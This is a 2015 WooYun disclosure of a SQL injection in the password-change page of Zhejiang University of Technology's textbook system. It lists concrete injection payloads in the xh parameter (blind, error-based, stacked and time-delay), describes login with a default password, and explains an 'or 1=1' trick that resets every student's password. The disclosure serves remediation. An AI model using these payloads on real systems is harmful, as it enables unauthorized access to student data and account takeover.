当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0109660

漏洞标题：浙江工业大学教材管理查询系统某处存在注入，泄露11w+学生数据，一键修改所有学生密码

相关厂商：zjut.edu.cn

漏洞作者： 路人甲

提交时间：2015-04-23 10:57

修复时间：2015-06-08 13:06

公开时间：2015-06-08 13:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-23： 细节已通知厂商并且等待厂商处理中
2015-04-24： 厂商已经确认，细节仅向厂商公开
2015-05-04： 细节向核心白帽子及相关领域专家公开
2015-05-14： 细节向普通白帽子公开
2015-05-24： 细节向实习白帽子公开
2015-06-08： 细节向公众公开

简要描述：

浙江工业大学教材管理查询系统某处存在注入，泄露11w+学生数据，可以一键修改所有学生密码

详细说明：

浙江工业大学教材管理查询系统学生修改密码处存在注入，泄露11w+学生数据，可以一键修改所有学生密码

漏洞证明：

利用默认密码登录

1.png


可查看信息，财务信息，教材计划等

2.png


3.png


4.png


修改密码处，

5.png


6.png


学号字段存在注入

7.png


Parameter: xh (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: xh=201103120102' AND 6517=6517 AND 'hJAL'='hJAL&oldmm=201103120102&newmm=201103120102
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: xh=201103120102' AND 9568=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (9568=9568) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113))) AND 'AZtS'='AZtS&oldmm=201103120102&newmm=201103120102
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: xh=201103120102'; WAITFOR DELAY '0:0:5'--&oldmm=201103120102&newmm=201103120102
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: xh=201103120102' WAITFOR DELAY '0:0:5'--&oldmm=201103120102&newmm=201103120102


9.png


10.png


有11w＋数据

11.png


任意登录

12.png


13.png


如果把学号改成 or 1=1 可以把所有学生密码改掉

修复方案：

修改密码接口，验证当前学生

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2015-04-24 13:04

厂商回复：

已对网站下线，等待开发人员修复

最新状态：

暂无